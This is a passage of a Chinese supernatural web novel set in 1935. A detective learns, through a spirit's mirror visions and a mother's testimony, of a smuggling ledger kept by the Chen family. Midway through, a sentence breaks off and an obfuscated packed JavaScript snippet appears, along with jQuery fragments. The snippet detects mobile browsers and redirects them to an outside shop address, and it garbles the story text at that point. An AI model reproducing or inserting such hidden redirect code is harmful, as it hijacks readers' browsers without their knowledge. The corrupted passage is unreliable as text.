随着镜婆话音落下,一股无形的契约之力在空气中凝结。而林默强撑着最后一丝力气问出了下一个问题。
“大人,最后一个问题。昨夜,陈静封来找你们,说了什么,做了什么?”
〈镜中画面〉
陈静封强行钳制住李红的手腕,将她逼到墙角,气息灼热而危险。
陈静封:“阿红,你是否真的爱上了许言午?”
李红:“是!我爱上他了。如果当年他没死,我还会嫁给他,我们会一起幸福地生活下去!而这一切,因为你,都毁了!陈!静!封!我!恨!你!你们全家都是杀人凶手。让我恶心?”
被桎梏住的李红为了激怒陈静封,她的双眼直视着他的眼睛,一字一句地承认。而陈静封就如同受伤的野兽,强行地吻了上去!可那不是一个吻,更像是撕咬和惩罚。
陈静封乞求着:“别这样说,阿红,别这样。我爱你啊!这辈子我只爱你一个人。你为什么就看不到我的真心呢?是不是因为我爹他们,你放心,明天,明天我一定会让你亲手报仇。你看看我好不好?”
说着陈静封还想继续强吻上去,可却被获得镜婆部分力量的李红奋力推开,一道阴气击中他的胸口,令他踉跄后退,嘴角溢血。镜婆最终现身,无声无息,两名青铜守卫如山般压下,将陈静封死死按在地上。
镜婆厌恶地警告:“陈静封,如果你现在想死,我可以成全你。!”
陈静封擦去嘴角的血,恭敬地向镜婆弯下了腰,随后露出一个疯狂而期待的笑容。
“恭祝大人明日能得偿所愿!”
景象消失。林默已虚弱得几乎站不稳。李鹤春死死搀扶住他,老人家的手因用力而青筋暴起,眼中满是痛惜。
镜婆注视着虚弱的林默,眼底闪过一丝复杂。她终究还是抬起手,指尖凝起一团温润的光球,倏地没入林默的胸口。光流渗入的刹那,林默身体微微一颤,原本急促的呼吸逐渐平复,涣散的眼神也重新凝聚起来。一股暖意自内而外蔓延开来,他终于缓过气,有了力气。
李鹤春,林默:“谢大人!”
“林默,你是我从小看着长大的孩子……就凭这份情谊,我可以不收任何代价,让你亲眼见一见你的亲生父母。你……要看吗?”
林默的身体猛然僵住,但最终他只是摇了摇头。
“大人,他们…过得好嘛?”
“因他们皆是身负大功德之人,此生命运得享厚报,一生顺遂圆满。纵使遭逢国难动荡,落到他们身上,也不过是微风拂水,略起涟漪。这一世,他们坐拥家财万贯,更难得的是儿孙绕膝,福泽绵长。”
“那就好!那就好……”
说罢,林默缓缓扶着墙壁,一步步向外走去。李鹤春见状,急忙向镜婆郑重施了一礼,转身匆匆追了出去。
李鹤春扶着精神有些恍惚的林默走到车前,就看到两个人站在了那里。真是陈薇芷和陈昊母子俩。
林默在李鹤春的搀扶下,步履蹒跚地走出新月公寓。一夜之间付出二十五年阳寿的他,鬓角花白,皱纹深刻。他们刚出来,就看到陈薇芷和陈昊母子二人,竟静静地站在街对面,似乎在等着他们。
看到他们二人出来,陈薇芷快步上前。她的目光扫过林默苍老很多的容颜,眼中闪过一丝惊诧与了然,她毫不犹豫地将怀中紧紧捂着的账本塞到林默手中。
“林警官!这个你拿着!”
林默伸手接过账本,触手沉重,封面上的标记让他瞳孔一缩。
“这是…?”
“林警官,这是陈静封和日本人这些年所有军火、药品、乃至活人交易的详细账目!每一笔都记得清清楚楚!还有他们之间往来的密电抄本!”
“陈太太,这是从哪来的?”
“这是我昨天晚上……”
1935年8月11日晚上10点。陈府书房灯火通明,却气氛压抑。陈薇芷站在父亲陈景和与兄长陈书昀面前,脸上泪痕未干,眼中充满了绝望与哀求。
“爹!哥!我求求你们!这次不能再袖手旁观了!昊儿可是你们的亲外孙,亲侄子啊!陈静封他已经疯了!他要再一次地把自己的儿子拿来献祭!你们就眼睁睁看着昊儿去死吗?!”
陈景和坐在太师椅上,手中盘着核桃,他的面色疲惫而复杂。
陈景和:“薇芷,稍安勿躁。静封他…行事是偏激了些,但虎毒不食子。这中间定然有误会。他怎会真害了阿昊?那毕竟是他唯一的血脉。”
陈书昀:“妹妹,爹说得对。都是一家人,打断骨头连着筋。明日之约,或许只是静封激励阿昊的一种方式。就算…就算真有万一,静封也定有后手保住阿昊性命。你且放宽心。”
陈薇芷激动地上前一步:“放宽心?我怎么放宽心?!你们难道忘了宋雅和那个孩子吗?他不是陈静封的儿子?呵,他们的下场是什么?你们难道忘了吗?你们到底还要自欺欺人到什么时候?”
陈景和:“够了!薇芷,注意你的身份!妇道人家,休要妄议家族大事!昊儿若真有劫难,那也是他的命数!我陈家子孙,既有享受荣华富贵的气运,那也当有承担命运的勇气!阿福!
管家阿福听见主人的呼唤,他悄无声息地出现在门口。对着屋内众人恭敬地弯腰行礼。
“老爷。少爷。大小姐。”
“阿福,送小姐回房休息!没有我的允许,不准她再出来!明日一早送她回陈公馆!”
说完,陈景和直接转过身子,不再看陈薇芷。而陈薇芷被阿福和两个丫鬟“请”出书房,她回头死死盯着父亲和兄长,眼中最后一丝希望彻底熄灭,化为冰冷的决绝。
“好…好…你们不管昊儿…我自己救!”
夜深人静,陈薇芷确认门外看守的丫鬟睡熟后,她就像一只灵活的黑猫一样悄无声息地溜出房间。她灵活地避开巡夜的家丁,如同幽灵般再次潜入书房。
陈薇芷并没有开灯。她在黑暗中熟稔地挪开书架第三格的一本厚厚账册,后面是一个不起眼的锁孔。紧接着她从怀中取出一把小小的、早已锈迹斑斑的钥匙。这是很多年前,她无意中看到父亲藏匿时,让管家阿福偷偷配下的。阿福心疼小姐,一直为她保留着,或许早已预料到会有这一天。
“咔嗒”
锁舌发出轻微的“咔嗒”声。陈薇芷颤抖着手拉开暗格,里面赫然是几本厚厚的、封面标注着特殊符号的账本。她迅速取出最下面那本,塞入怀中,又将一切恢复原状。
陈薇芷离开后,书房深处的阴影微微一动,陈景和与陈书昀缓缓走了出来。他们一直静
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643018|188145||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
立在黑暗里,如同沉默的旁观者。两人无声地走到窗前,目光穿透玻璃,望向陈薇芷逐渐融入夜色的背影,直至那抹身影钻入车中飞速离去。车身被浓重的黑夜彻底吞没。
陈景和疲惫说着:“书昀,这么多年,是我们父子俩,对不起薇芷。”
“爹…”
“希望以后,你能好好待她。如果不是为了我们,为了陈家,为了昊儿…她早就和静封离了婚,不必受这些苦。是我们用亲情这把锁,把她牢牢锁在了静封身边,锁在了这摊浑水里。我老了…累了。这件事之后,我想隐退。陈家,就交给你了。”
陈书昀脸上闪过一抹狠戾:“爹您放心,后天绝不会出事。任何敢拦我们路的人…我都会亲自处理干净。”
“爹,我也向您保证,会照顾好薇芷。她是我一母同胞的亲妹妹,我绝不会让她再受到伤害。”
陈薇芷:“后来,我一拿到账本,片刻也不敢耽搁,立即离开了陈府,匆匆赶回新月公寓。那一刻,我心中只有一个念头——回到昊儿身边。哪怕只是和他住在同一栋楼里,呼吸着相同的空气,于我而言,也是莫大的安慰与幸福。大人和李红见我回来,也并未多问什么,只是默许我住进了504的主卧。她们仿佛早已明白,这是一个母亲最后的心愿。”
恍惚回到现在。陈昊一直安静地听着,直到母亲说完,他才犹豫着开口。
“其实,昨天晚上……”
陈静封被镜婆的青铜守卫粗暴地扔出新月公寓,狼狈地趴在地上。陈昊从公寓里走了出来,神色复杂。他犹豫了一下,还是上前扶起了父亲。
“爹…收手吧。现在还来得及。”
陈静封借着儿子的力气站起来,看着陈昊,脸上没有任何感动,反而露出一丝冰冷的嘲笑。
陈静封整理着衣服:“收手?游戏才刚刚开始。昊儿,明天…不止是我会在场。你的曾祖、祖父、爷爷,我们陈家的长辈,我的许多生意伙伴,还有…一些来自国外的朋友,都会到场观礼。”
陈静封盯着陈昊的眼睛,语气带着压迫感。
“昊儿我希望你…不要辜负我的期望。全力以赴,给我闯过关去。你是我唯一的儿子,别让我失望。”
陈昊望着父亲离去的背影,整个人像是被钉在了原地。他的嘴唇无声地动了动,眼中翻涌着难以言说的痛苦,而那痛苦深处,是一片近乎死寂的绝望。
陈昊心里比谁都清楚,父亲从未爱过他,正如当年陈列也未曾爱过陈静封一般。命运的阴影无声笼罩,父亲终究活成了爷爷的模样。而他紧紧攥住这份清醒,告诉自己:绝不重蹈覆辙,绝不成为他们那样的人。
陈昊望着母亲和林默,脸上依旧残留着昨夜与父亲对话后的凝重。
林默紧紧攥着那本仿佛滚烫的账本,看着眼前这对提供了关键情报和证据的母子,又想到自己在镜中看到的惨烈未来和与镜婆的魔鬼交易,心中悲愤、决绝、沉重的情绪几乎要将他压垮。他花白的头发在凌晨的寒风中微微颤动。
林默深吸一口气,将账本郑重收好,对陈薇芷和陈昊重重地点了点头。
“…多谢。你们提供的…至关重要。明天…一切小心。”
说完,他在李鹤春的搀扶下,转身走向汽车。去享受黑暗前最后的平静。